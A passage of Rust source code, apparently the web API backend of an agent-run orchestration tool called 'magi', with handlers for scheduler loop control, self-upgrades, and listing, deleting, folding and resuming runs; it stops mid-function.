talks_rev: revisions.3,
notifications_rev,
notifications_unread,
loop_rev,
runs_unreadable,
questions_open,
questions_needs_owner,
daemon: DaemonView::of(reading.clone()),
looping,
disk,
update,
upgrade,
upgrade_request_error: ui
.upgrade_request_error
.lock()
.unwrap_or_else(PoisonError::into_inner)
.clone(),
}))
})
.await
}
#[derive(Debug, Serialize)]
struct LoopView {
running: bool,
stopping: bool,
parking: bool,
owned: bool,
repo: String,
merge: Option<String>,
last_error: Option<String>,
daemon: DaemonView,
}
#[derive(Debug, Clone, Copy)]
struct Foreign {
pid: Option<u32>,
}
impl Foreign {
fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
return None;
}
daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
}
fn who(&self) -> String {
match self.pid {
Some(pid) => format!("another magi process (pid {pid})"),
None => "another magi process".to_owned(),
}
}
}
type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
#[cfg(test)]
type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
#[cfg(test)]
fn launch_daemon(
opts: daemon::Opts,
stop: daemon::Stop,
) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
Box::pin(daemon::serve_until(opts, stop))
}
#[derive(Debug, Default)]
struct LoopState {
#[cfg(test)]
live: Option<Live>,
rev: u64,
last_error: Option<String>,
}
#[cfg(test)]
#[derive(Debug)]
struct Live {
stop: daemon::Stop,
handle: tokio::task::JoinHandle<()>,
opts: daemon::Opts,
}
#[cfg(test)]
impl Live {
fn alive(&self) -> bool {
!self.handle.is_finished()
}
}
fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
state.lock().unwrap_or_else(PoisonError::into_inner)
}
async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
blocking(move || {
let reading = daemon::read_status(&ui.home);
#[cfg(not(test))]
let view = ui.try_loop_view(reading)?;
#[cfg(test)]
let view = ui.loop_view(reading);
Ok(Json(view))
})
.await
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct LoopCommand {
running: bool,
#[serde(default)]
park: bool,
}
async fn loop_post(
State(ui): State<Arc<Ui>>,
body: std::result::Result<Json<LoopCommand>, JsonRejection>,
) -> ApiResult<Json<LoopView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
#[cfg(not(test))]
{
if body.running {
ui.start_detached_loop().await?;
} else {
let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
ui.stop_loop(foreign, body.park)?;
}
Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
}
#[cfg(test)]
{
blocking(move || {
let reading = daemon::read_status(&ui.home);
let foreign = Foreign::of(reading.as_ref());
if body.running {
ui.start_loop(foreign)?;
} else {
ui.stop_loop(foreign, body.park)?;
}
Ok(Json(ui.loop_view(reading)))
})
.await
}
}
#[derive(Debug, Serialize)]
struct UpgradeView {
from: String,
to: Option<String>,
detail: String,
}
fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
progress.filter(|p| !p.stage.terminal())
}
fn upgrade_retry_after(message: &str) -> Option<u64> {
if !message.contains("GitHub") || !message.contains("rate limit") {
return None;
}
if message.contains("retry now") {
return Some(0);
}
let duration = message
.split_once("resets in ")
.or_else(|| message.split_once("retry after "))?
.1
.split_once(')')?
.0;
let mut rest = duration.trim();
if rest.is_empty() {
return None;
}
let mut total = 0u64;
while !rest.is_empty() {
let n = rest.find(|c: char| !c.is_ascii_digit())?;
let amount: u64 = rest[..n].parse().ok()?;
let scale = match rest[n..].chars().next()? {
's' => 1,
'm' => 60,
'h' => 3600,
'd' => 86400,
_ => return None,
};
total = total.checked_add(amount.checked_mul(scale)?)?;
rest = rest[n + 1..].trim_start();
}
Some(total)
}
#[derive(Debug, Clone, Serialize)]
struct UpgradeRequestFailure {
occurred_at: String,
error: String,
retry_after_secs: Option<u64>,
retry_at: Option<u64>,
}
impl UpgradeRequestFailure {
fn new(error: String) -> Self {
let retry_after_secs = upgrade_retry_after(&error);
let now = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default()
.as_secs();
Self {
occurred_at: jiff::Timestamp::now().to_string(),
error,
retry_after_secs,
retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
}
}
}
async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
}
async fn begin_upgrade(
ui: &Arc<Ui>,
trigger: updater::UpgradeTrigger,
latest: Option<kaishin::LatestRelease>,
) -> Response {
let reading = daemon::read_status(&ui.home);
if let Some(other) = Foreign::of(reading.as_ref()) {
return ApiError::conflict(format!(
"{} is a legacy scheduler without detached restart support. \
Finish or explicitly park its work in the existing UI before \
this first migration; independent schedulers do not need this.",
other.who()
))
.into_response();
}
let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
return ApiError::conflict("another request is already preparing an upgrade")
.into_response();
};
if trigger == updater::UpgradeTrigger::Auto {
let cfg = match Config::discover(&ui.repo, None) {
Ok((cfg, _)) => cfg,
Err(e) => {
return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
}
};
let Some(latest) = latest else {
return StatusCode::NO_CONTENT.into_response();
};
let busy = ui.auto_upgrade_busy();
let failed = ui
.auto_failed_tag
.lock()
.unwrap_or_else(PoisonError::into_inner)
.clone();
let decision = auto_upgrade_decision(
&cfg.update,
updater::disabled_by_env(),
ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
|| upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
busy,
&latest.tag_name,
failed.as_deref(),
);
if decision != AutoUpgradeDecision::Trigger {
let reason = match decision {
AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
AutoUpgradeDecision::Skip(reason) => reason,
AutoUpgradeDecision::Trigger => unreachable!(),
};
updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
return StatusCode::NO_CONTENT.into_response();
}
ui.upgrade_spawned
.store(true, std::sync::atomic::Ordering::SeqCst);
if ui.auto_upgrade_busy() {
ui.upgrade_spawned
.store(false, std::sync::atomic::Ordering::SeqCst);
updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
return StatusCode::NO_CONTENT.into_response();
}
updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
return finish_upgrade_request(
ui,
upgrade_checked_for(
ui,
env!("CARGO_PKG_VERSION").into(),
Ok(Some(latest)),
trigger,
),
);
}
finish_upgrade_request(ui, upgrade_prepare(ui).await)
}
fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
match result {
Ok(out) => {
*ui.upgrade_request_error
.lock()
.unwrap_or_else(PoisonError::into_inner) = None;
out.into_response()
}
Err(error) if error.status != StatusCode::CONFLICT => {
let failure = UpgradeRequestFailure::new(error.message);
*ui.upgrade_request_error
.lock()
.unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
let mut response = (error.status, Json(&failure)).into_response();
if let Some(value) = failure
.retry_after_secs
.and_then(|secs| secs.to_string().parse().ok())
{
response.headers_mut().insert("retry-after", value);
}
response
}
Err(error) => error.into_response(),
}
}
async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
return Err(ApiError::conflict(
"an upgrade is already in progress (this process started one and it \
has not finished or failed yet)",
));
}
let recorded = updater::read_progress(&ui.home);
if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
return Err(ApiError::conflict(format!(
"an upgrade is already in progress (stage: {}, {} -> {}). If it \
stays stuck, restart the deck; on start it settles a stale record.",
p.stage.as_str(),
p.from,
p.to.as_deref().unwrap_or("?"),
)));
}
if crate::updater::disabled_by_env() {
return Ok((
StatusCode::OK,
Json(UpgradeView {
from: env!("CARGO_PKG_VERSION").to_owned(),
to: None,
detail: format!(
"Automatic updates are disabled by {}. Nothing was parked \
and nothing restarted.",
crate::updater::NO_AUTOUPDATE_ENV
),
}),
));
}
let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
let from = env!("CARGO_PKG_VERSION").to_owned();
let latest = match crate::updater::Checker::new(&cfg.update) {
Some(checker) => checker.newer_release().await,
None => Ok(None),
};
upgrade_checked(ui, from, latest)
}
fn upgrade_checked(
ui: &Arc<Ui>,
from: String,
latest: anyhow::Result<Option<kaishin::LatestRelease>>,
) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
}
fn upgrade_checked_for(
ui: &Arc<Ui>,
from: String,
latest: anyhow::Result<Option<kaishin::LatestRelease>>,
trigger: updater::UpgradeTrigger,
) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
let Some(latest) = latest else {
return Ok((
StatusCode::OK,
Json(UpgradeView {
from,
to: None,
detail: "Already on the newest release. Nothing was parked \
and nothing restarted."
.to_owned(),
}),
));
};
let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
progress.trigger = trigger;
updater::write_progress_logged(&ui.home, &progress);
let home = ui.home.clone();
ui.upgrade_spawned
.store(true, std::sync::atomic::Ordering::SeqCst);
let spawned = Arc::clone(&ui.upgrade_spawned);
let runner = ui.upgrade_runner;
let failed = ui.auto_failed_tag.clone();
let tag = latest.tag_name.clone();
tokio::spawn(async move {
if let Err(e) = runner(home.clone()).await {
if trigger == updater::UpgradeTrigger::Auto {
*failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
}
tracing::error!("the upgrade did not complete: {e:#}");
let _ = updater::fail_progress(&home, &format!("{e:#}"));
spawned.store(false, std::sync::atomic::Ordering::SeqCst);
}
});
Ok((
StatusCode::ACCEPTED,
Json(UpgradeView {
from,
to: Some(latest.tag_name),
detail,
}),
))
}
async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
crate::updater::run_self_update(true, false, true).await?;
updater::log_step(&home, "binary replaced - recording the replaced stage");
if let Some(mut progress) = updater::read_progress(&home) {
progress.advance(updater::Stage::Replaced);
updater::write_progress_logged(&home, &progress);
}
updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
HANDOVER.notify_one();
updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
Ok(())
}
#[derive(Debug, Serialize)]
struct RunSummary {
activity: String,
id: String,
short: String,
status: String,
done: bool,
instruction: String,
title: String,
repo: String,
repo_name: String,
created_at: String,
updated_at: String,
candidates: usize,
viable: usize,
judges: usize,
winner: Option<char>,
reviews: usize,
quota_losses: usize,
event: Option<String>,
superseded_by: Option<String>,
waiting: bool,
live: crate::run::Liveness,
pr: Option<crate::run::PrRecord>,
unmerged_by_design: bool,
#[serde(default)]
display_status: String,
#[serde(default)]
badge_status: String,
origin_label: String,
}
impl RunSummary {
fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
Self {
activity: crate::run_progress::activity(state, live, waiting),
id: state.id.clone(),
short: state.short().to_owned(),
status: status_word(state.status),
done: state.status.done(),
unmerged_by_design: state.unmerged_by_design(),
display_status: run_display_status(state, waiting, live),
badge_status: run_display_status(state, waiting, live),
instruction: state.instruction.clone(),
title: title_from(&state.instruction, TITLE_MAX),
repo: state.repo.display().to_string(),
repo_name: state
.repo
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_default(),
created_at: state.created_at.to_string(),
updated_at: state.updated_at.to_string(),
candidates: state.candidates.len(),
viable: state.viable().len(),
judges: state.config.graph.judges,
winner: state.winner().map(|c| c.label),
reviews: state.reviews.len(),
quota_losses: state.quota.len(),
event: state
.verification_blocking_cause()
.or_else(|| state.events.last().map(|e| e.message.clone())),
waiting,
live,
superseded_by: None,
pr: state.pr.clone(),
origin_label: crate::run::origin_label(state.origin.as_ref()),
}
}
}
fn status_word(status: RunStatus) -> String {
status.as_str().to_owned()
}
fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
if waiting {
return "waiting".to_owned();
}
if state.unmerged_by_design() {
return "unmerged".to_owned();
}
if !state.status.done() && live == crate::run::Liveness::Dead {
if state.parked {
return "parked".to_owned();
}
return "stale".to_owned();
}
status_word(state.status)
}
fn run_badge_status(
state: &RunState,
display_status: &str,
live: crate::run::Liveness,
superseded: bool,
) -> String {
if state.status.done() || live == crate::run::Liveness::Live {
return display_status.to_owned();
}
if superseded {
return "superseded".to_owned();
}
if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
return "stale".to_owned();
}
display_status.to_owned()
}
#[derive(Debug, Deserialize)]
struct ListQuery {
#[serde(default)]
limit: Option<usize>,
ids: Option<String>,
}
impl ListQuery {
fn contains(&self, id: &str) -> bool {
self.ids
.as_ref()
.is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
}
}
async fn runs_list(
State(ui): State<Arc<Ui>>,
Query(q): Query<ListQuery>,
) -> ApiResult<Json<Vec<RunSummary>>> {
let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
blocking(move || {
let (open_runs, claimed, superseded) = run_row_inputs(&ui);
let states = run_ids(&ui.runs)
.into_iter()
.filter_map(|id| read_run(&ui.runs, &id).ok())
.take(limit)
.filter(|run| q.contains(&run.id));
let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
let summaries = summarize(
states,
&open_runs,
&claimed,
&superseded,
|p| probe.borrow_mut().status(p),
|p| probe.borrow_mut().started_at(p),
);
Ok(Json(summaries))
})
.await
}
fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
let open_runs: HashSet<String> = ui
.questions
.list()
.into_iter()
.filter(|q| q.status.open())
.map(|q| q.run)
.collect();
let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
.into_iter()
.map(|c| c.run)
.collect();
(open_runs, claimed, ui.queue.superseded())
}
fn summarize<I, S, D>(
states: I,
open_runs: &HashSet<String>,
claimed: &HashSet<String>,
superseded: &HashMap<String, String>,
mut status_q: S,
mut identity_q: D,
) -> Vec<RunSummary>
where
I: IntoIterator<Item = RunState>,
S: FnMut(u32) -> Option<bool>,
D: FnMut(u32) -> Option<String>,
{
states
.into_iter()
.map(|state| {
let waiting = open_runs.contains(&state.id);
let live =
state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
let mut row = RunSummary::of(&state, waiting, live);
row.superseded_by = state
.pr_taken_over_by
.as_ref()
.or_else(|| superseded.get(&state.id))
.map(String::as_str)
.map(crate::run::short_of)
.map(str::to_owned);
row.badge_status = run_badge_status(
&state,
&row.display_status,
live,
row.superseded_by.is_some(),
);
row
})
.collect()
}
#[derive(Debug, Serialize)]
struct RunDetailView {
progress: crate::run_progress::Progress,
stop_reason: Option<String>,
#[serde(flatten)]
state: RunState,
instruction_md: Vec<md::Node>,
#[serde(flatten)]
prose_md: RunProseMd,
live: crate::run::Liveness,
unmerged_by_design: bool,
#[serde(default)]
waiting: bool,
#[serde(default)]
display_status: String,
#[serde(default)]
badge_status: String,
done: bool,
superseded_by: Option<String>,
latest_attempt: Option<LatestAttempt>,
task: Option<TaskRef>,
origin_label: String,
pass_views: Vec<PassView>,
}
#[derive(Debug, Serialize)]
struct TaskRef {
id: String,
short: String,
title: String,
source_label: String,
source_link: Option<SourceLink>,
status: &'static str,
attempts: usize,
max_attempts: usize,
is_latest: bool,
latest: Option<RunBrief>,
finished_by: Option<RunBrief>,
closed_by_hand: bool,
}
#[derive(Debug, PartialEq, Eq, Serialize)]
struct SourceLink {
kind: &'static str,
id: String,
href: String,
}
fn encode_segment(raw: &str) -> String {
let mut out = String::with_capacity(raw.len());
for b in raw.bytes() {
if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
out.push(b as char);
} else {
out.push_str(&format!("%{b:02X}"));
}
}
out
}
fn source_link(source: &Source) -> Option<SourceLink> {
let Source::Agent { run, node } = source else {
return None;
};
let (kind, route) = if node == crate::queue::CHAT_NODE {
("chat", "chat")
} else {
("run", "runs")
};
Some(SourceLink {
kind,
id: run.clone(),
href: id_links::page_href(route, run),
})
}
#[derive(Debug, Serialize, PartialEq)]
struct FollowUpParent {
id: String,
short: String,
title: String,
status: &'static str,
href: String,
}
#[derive(Debug, Serialize, PartialEq)]
struct FollowUpRun {
id: String,
short: String,
status: Option<&'static str>,
href: Option<String>,
}
#[derive(Debug, Serialize, PartialEq)]
struct FollowUpOrigin {
parent: Option<FollowUpParent>,
run: FollowUpRun,
pr: String,
findings: Vec<String>,
generation: u32,
}
fn followup_origin(
fu: &crate::queue::FollowUp,
task: impl Fn(&str) -> Option<Task>,
run: impl Fn(&str) -> Option<RunState>,
) -> FollowUpOrigin {
let parent = fu
.origin_task
.as_deref()
.and_then(task)
.map(|t| FollowUpParent {
short: t.short().to_owned(),
href: format!("#/tasks/{}", encode_segment(&t.id)),
status: t.status.as_str(),
title: t.title,
id: t.id,
});
let state = run(&fu.run);
FollowUpOrigin {
parent,
run: FollowUpRun {
short: run::short_of(&fu.run).to_owned(),
status: state.as_ref().map(|s| s.status.as_str()),
href: state
.is_some()
.then(|| format!("#/runs/{}", encode_segment(&fu.run))),
id: fu.run.clone(),
},
pr: fu.pr.clone(),
findings: fu.findings.clone(),
generation: fu.generation,
}
}
#[derive(Debug, Serialize)]
struct RunBrief {
id: String,
short: String,
status: Option<&'static str>,
outcome: String,
badge: Option<String>,
}
fn task_outcome(
task: &Task,
this_run: &str,
max_attempts: usize,
read: impl Fn(&str) -> Option<RunState>,
) -> TaskRef {
let max_attempts = task.effective_attempt_limit(max_attempts);
let history = task_history(task, read);
let brief = |h: &TaskRunView| RunBrief {
id: h.id.clone(),
short: h.short.clone(),
status: h.status,
outcome: h.exit.edge_label(h.status),
badge: h.badge.clone(),
};
let is_latest = task.runs.last().is_none_or(|r| r == this_run);
let latest = if is_latest {
None
} else {
history.last().map(brief)
};
let done = task.status == TaskStatus::Done;
let finished_by = done
.then(|| {
history
.iter()
.rev()
.find(|h| {
matches!(
h.exit,
RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
)
})
.map(brief)
})
.flatten();
TaskRef {
short: task.short().to_owned(),
title: task.title.clone(),
id: task.id.clone(),
source_label: task.source.label(),
source_link: source_link(&task.source),
status: task.status.as_str(),
attempts: task.attempts,
max_attempts,
is_latest,
latest,
closed_by_hand: done && finished_by.is_none(),
finished_by,
}
}
#[derive(Debug, Serialize)]
struct LatestAttempt {
id: String,
short: String,
resolved: bool,
status: RunStatus,
done: bool,
}
#[derive(Debug, Default, Serialize)]
struct RunProseMd {
advice_md: Option<AdviceMd>,
candidate_summaries_md: Vec<Vec<md::Node>>,
reviews_md: Vec<RoundMd>,
}
#[derive(Debug, Default, Serialize)]
struct AdviceMd {
synthesis: Vec<md::Node>,
approaches: Vec<Vec<md::Node>>,
}
#[derive(Debug, Default, Serialize)]
struct RoundMd {
reviewers: Vec<ReviewerMd>,
reconsideration: Vec<Vec<md::Node>>,
fix: Option<FixMd>,
}
#[derive(Debug, Default, Serialize)]
struct ReviewerMd {
summary: Vec<md::Node>,
findings: Vec<Vec<md::Node>>,
}
#[derive(Debug, Default, Serialize)]
struct FixMd {
notes: Vec<md::Node>,
rejected: Vec<Vec<md::Node>>,
}
fn run_prose_md(state: &RunState) -> RunProseMd {
let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
RunProseMd {
advice_md: state.advice.as_ref().map(|a| AdviceMd {
synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
approaches: a
.records
.iter()
.map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
.collect(),
}),
candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
reviews_md: state
.reviews
.iter()
.map(|round| RoundMd {
reviewers: round
.reviews
.iter()
.map(|rec| ReviewerMd {
summary: nodes(&rec.summary),
findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
})
.collect(),
reconsideration: round
.reconsideration
.iter()
.map(|rv| nodes(&rv.reason))
.collect(),
fix: round.fix.as_ref().map(|fix| FixMd {
notes: nodes(&fix.notes),
rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
}),
})
.collect(),
}
}
impl RunDetailView {
fn of(
state: RunState,
waiting: bool,
live: crate::run::Liveness,
superseded_by: Option<String>,
latest_attempt: Option<LatestAttempt>,
task: Option<TaskRef>,
) -> Self {
let display_status = run_display_status(&state, waiting, live);
let stop_reason = crate::stop_reason::of(
&state,
latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
);
let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
Self {
progress: crate::run_progress::build(&state, live, waiting),
stop_reason,
pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
prose_md: run_prose_md(&state),
origin_label: crate::run::origin_label(state.origin.as_ref()),
live,
unmerged_by_design: state.unmerged_by_design(),
waiting,
display_status,
badge_status,
done: state.status.done(),
superseded_by,
latest_attempt,
task,
state,
}
}
}
async fn run_core(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<RunDetailView>> {
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
Ok(Json(RunDetailView::of(
state,
false,
crate::run::Liveness::Unknown,
None,
None,
None,
)))
})
.await
}
async fn run_progress(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<serde_json::Value>> {
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
let live = state.liveness(crate::daemon::is_working_on(
&ui.home,
&id,
Timestamp::now(),
));
let waiting = !ui.questions.open_for(&id).is_empty();
Ok(Json(serde_json::json!({
"id": id, "updated_at": state.updated_at, "live": live,
"observed_at": Timestamp::now(),
"progress": crate::run_progress::build(&state, live, waiting),
})))
})
.await
}
async fn run_detail(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<RunDetailView>> {
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
let live = state.liveness(daemon_claims);
crate::queue::record_ids(ui.questions.root(), "json")?;
let waiting = ui
.questions
.list()
.iter()
.any(|q| q.run == id && q.status.open());
let max_attempts = daemon::Opts::default().max_attempts;
let matching_task = ui.find_task_for_run(&id)?;
let superseded_by = state
.pr_taken_over_by
.clone()
.or_else(|| {
matching_task
.as_ref()
.and_then(|t| t.successor_of(&id).cloned())
})
.as_deref()
.map(crate::run::short_of)
.map(str::to_owned);
let latest_attempt = matching_task
.as_ref()
.and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
.and_then(|head_id| {
read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
short: head.short().to_owned(),
resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
status: head.status,
done: head.status.done(),
id: head.id,
})
});
let task = matching_task
.map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
Ok(Json(RunDetailView::of(
state,
waiting,
live,
superseded_by,
latest_attempt,
task,
)))
})
.await
}
async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
let (id, unreadable) = {
let ui = Arc::clone(&ui);
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
match read_run(&ui.runs, &id) {
Ok(state) => {
let in_flight =
crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
state
.ensure_can_delete(in_flight)
.map_err(|e| ApiError::conflict(format!("{e:#}")))?;
let dir = ui.runs.join(&id);
std::fs::remove_dir_all(&dir)
.with_context(|| format!("remove run directory {}", dir.display()))?;
Ok((id, false))
}
Err(_) => {
if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
return Err(ApiError::conflict(format!(
"run {id} is being worked on by a live daemon right now"
)));
}
Ok((id, true))
}
}
})
.await?
};
if unreadable {
crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
.await
.map_err(|e| ApiError::internal(format!("{e:#}")))?;
}
let ui = Arc::clone(&ui);
let done = id.clone();
blocking(move || {
ui.questions.abandon_for_run(
&done,
&format!("run {done} was deleted, so nothing is waiting for this answer"),
)?;
Ok(())
})
.await?;
Ok(StatusCode::NO_CONTENT)
}
async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
let (id, state) = {
let ui = Arc::clone(&ui);
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
return Err(ApiError::conflict(format!(
"run {id} is being worked on by a live daemon right now"
)));
}
let state = read_run(&ui.runs, &id).ok();
Ok((id, state))
})
.await?
};
let removed = match state {
Some(mut state) => {
let removed = crate::graph::fold_run(&mut state, true, &ui.home)
.await
.map_err(|e| ApiError::internal(format!("{e:#}")))?;
if removed.is_empty() {
crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
.map_err(|e| ApiError::internal(format!("{e:#}")))?;
}
removed
}
None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
.await
.map_err(|e| ApiError::internal(format!("{e:#}")))?,
};
Ok(Json(FoldView {
run: id,
removed_count: removed.len(),
removed,
}))
}
#[derive(Debug, Serialize)]
struct FoldView {
run: String,
removed: Vec<String>,
removed_count: usize,
}
#[derive(Debug, Deserialize)]
struct FoldMergedBody {
#[serde(default)]
pr_url: String,
}
async fn run_fold_merged(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
Json(body): Json<FoldMergedBody>,
) -> ApiResult<Json<FoldMergedView>> {
let pr_url = body.pr_url.trim().to_owned();
if pr_url.is_empty() {
return Err(ApiError::bad_request("pr_url is required"));
}
let (id, mut state) = {
let ui = Arc::clone(&ui);
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
return Err(ApiError::conflict(format!(
"run {id} is being worked on by a live daemon right now"
)));
}
let state = read_run(&ui.runs, &id)?;
Ok((id, state))
})
.await?
};
let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
.await
.map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
let removed = crate::graph::fold_run(&mut state, true, &ui.home)
.await
.map_err(|e| ApiError::internal(format!("{e:#}")))?;
Ok(Json(FoldMergedView {
run: id,
before: before.as_str().to_owned(),
after: after.as_str().to_owned(),
removed,
}))
}
#[derive(Debug, Serialize)]
struct FoldMergedView {
run: String,
before: String,
after: String,
removed: Vec<String>,
}
async fn run_resume(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<(StatusCode, Json<RunSummary>)> {
let admission = ui.begin_admission()?;
admitted(admission, async move {
let (id, state) = {
let ui = Arc::clone(&ui);
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
Ok((id, state))
})
.await?
};
crate::resume::validate_unqueued(&ui.home, &id)
.map_err(|e| ApiError::conflict(e.to_string()))?;
let _resume = ui.begin_resume(&id)?;
crate::resume::start(&ui.home, id.clone())
.await
.map_err(ApiError::from)?;
let queued = RunSummary::of(
&state,
!ui.questions.open_for(&id).is_empty(),
state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
);
Ok((StatusCode::ACCEPTED, Json(queued)))
})
.await
}
async fn run_report(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<impl IntoResponse> {
let text = blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
let live = state.liveness(daemon_claims);
Ok(format!(
"{}{}",
report::run(&state),
report::active_seats(&state, live)
))
})
.await?;
Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
}
async fn run_report_json(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<crate::report_view::RunReportView>> {
let view = blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
let recovered = state.graft.as_ref().map(|_| {
crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
});
Ok(crate::report_view::build_with(
&state,
state.liveness(daemon_claims),
recovered.as_ref(),
))
})
.await?;
Ok(Json(view))
}
async fn run_seat_evidence(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<impl IntoResponse> {
let id = resolve_run(&ui.runs, &id)?;
let heads = crate::retention::seat_heads(&ui.home, &id)
.await
.map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
Ok(Json(heads))
}
async fn run_seat_diff(
State(ui): State<Arc<Ui>>,
Path((id, head)): Path<(String, String)>,
) -> ApiResult<impl IntoResponse> {
let id = resolve_run(&ui.runs, &id)?;
let patch = crate::retention::seat_diff(&ui.home, &id, &head)
.await
